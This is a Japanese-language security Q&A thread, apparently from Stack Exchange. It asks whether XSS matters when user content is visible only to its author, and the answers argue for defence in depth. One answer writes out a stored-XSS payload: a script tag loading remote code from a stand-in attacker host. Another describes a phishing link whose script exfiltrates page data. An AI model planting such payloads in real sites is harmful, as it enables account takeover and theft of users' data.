他のユーザーが生成したコンテンツへのアクセスが制限されている場合、XSS攻撃は可能ですか？

Question

XSS攻撃は、ユーザーが生成したすべてのコンテンツがAuthの背後にあり、すべてのコンテンツが最初にそれを生成したユーザーにのみ、厳密にのみ表示されるWebサイトで可能ですか？

ユーザーが作成したコンテンツは、管理者でさえも、そのままの形で他のユーザーに表示されることはありません。これは常に集計された統計であり、文字列ではありません。

Conor Mancone · Accepted Answer

tl/dr：はい！多層防御は重要であるため、エクスプロイトの方法がすぐに明らかであるかどうかに関係なく、XSSの脆弱性は修正が必要な脆弱性です。

根底にある質問

意図的かどうかにかかわらず、質問の背後にある質問の答えがはるかに重要です。本質的には、あなたが何であるか本当に求めています：

攻撃者がXSSを利用できない場合、XSSについて心配する必要がありますか？

その答えは簡単です。XSSを常に心配する必要があります。 XSSの脆弱性は危険であり、判明したら、ベストプラクティスに従って修正する必要があります。これは、特定のケースの詳細を考慮しなくても、当然のことと考えてください。その理由は、Webアプリケーションが静的であることがほとんどないためです。それらは頻繁かつ迅速に変化します。

管理者専用の機能として何かが始まるので、開発者はセキュリティについて心配しないことにします。 6か月後、変更要求が経営陣から来て、彼らはその機能の一部を顧客と共有したいと考えています。元の開発者は他のことで忙しく、新しいチームは機能にXSS保護がないことに気づきません。その結果、彼らがそれをすべての人にプッシュした場合、アプリケーションは重大なXSS脆弱性を獲得します。そのようなことはいつも起こります。結果として、基本的なアプリケーションセキュリティがあらゆる場所で適切に実行されることが重要です。今日の安全ではないがプライベートなアプリケーションは、必ず明日の安全でないパブリックなアプリケーションになります。これはあなたに起こります。

最後に、多層防御が重要です。実際の違反の多くは、攻撃者が別の弱点を利用できる弱点を見つけ、それが別の弱点につながり、最終的にジューシーな何かにつながるために発生します。「私のユーザーは自分のデータしか表示しないので、XSSは問題になりません」は、攻撃者が別のユーザーのセッションにデータを挿入する方法を突き止めるまで完全に機能します。 XSS保護の欠如により、攻撃者は他のユーザーのデータへの完全なアクセス権を取得し、おそらくアカウントを乗っ取ることができますが、XSS保護を設定することで、攻撃を完全に阻止することができます。

いくつかの詳細

では、攻撃者が別のユーザーのセッションにデータを挿入する方法はありますか？おそらくあります！特に：

反映されたXSS（ Steffen すでにこれに触れています）
CSRFは主要な懸念事項です。CSRF脆弱性のあるエンドポイントがある場合、攻撃者は別のユーザーのアカウントにCSRF攻撃をトリガーし、データにXSSペイロードを格納し、そのXSS攻撃を使用してユーザーのアカウントを侵害する可能性があります。。
SQLi：攻撃者はSQLiの脆弱性を利用して、すべてのユーザーのアカウントに対して保存されたXSS攻撃を実行し、すべてを侵害する可能性があります。

最後の1つは少しストレッチのように思えるかもしれません（単にSQLi攻撃は通常それ自体が深刻な問題であるためです）、書き込み専用のSQLi脆弱性の場合、それは正当な懸念事項です。

概要

ユーザーデータをサイロ化することは、基本的なアプリケーションセキュリティを回避するのに十分な理由ではありません。それは、ユーザーがお互いのデータにアクセスすることはできないという想定に基づいているためです。この仮定が当てはまることはほとんどありません。 XSS保護がない場合、攻撃者は1つの脆弱性をどこかで見つけるだけで、他のユーザーのアカウントにデータを挿入して乗っ取ることができます。ただし、適切なセキュリティをどこでも実践している場合、攻撃者はデータの注入を可能にする脆弱性を見つけ、XSSを可能にする脆弱性を見つける必要があります実行するペイロード。これははるかに困難な作業であり、ユーザーをより安全にします。

TR_SLimey · Answer

ユーザーが自分のアカウントをログインしたままにした場合はどうなりますか？通常、攻撃者はこれを悪用するための短い時間しかありませんが、XSSの脆弱性がある場合、悪意のあるスクリプトを残して、パスワードを変更した後でも、アカウントを永続的に制御する可能性があります。

スクリプトは、その時点で準備ができている必要さえありません。攻撃者は

<script src="http://hackerssite.com/not_yet_existing_script.js"></script>

サイトに入り、後でスクリプトを作成します。

Steffen Ullrich · Answer

あなたが説明することは、保存されたXSSだけを防ぎます。ただし、クロスサイトリクエストがサーバーによって許可され、認証ステータスがセッションCookieを使用してリクエスト間で転送される場合、XSSの反映は引き続き可能です。通常、両方のケースが該当します。また、リクエストはサーバーに送信されないため、クロスサイトリクエストやCookieベースの認証がなくてもDOM XSSが可能です。

Snowbody · Answer

私が考えたXSSの最初の使用法は、まさにこの状況でした。攻撃者がユーザーのアカウントに保存されているすべての個人情報を読み取ろうとしているとします。攻撃者は正当なように見え、実際のサイトにリンクするフィッシング電子メールを作成しますが、URLには隠されたスクリプトが含まれており、それが読み込まれるとWebページの画面をスクレイピングし、すべての情報を攻撃者に送信します。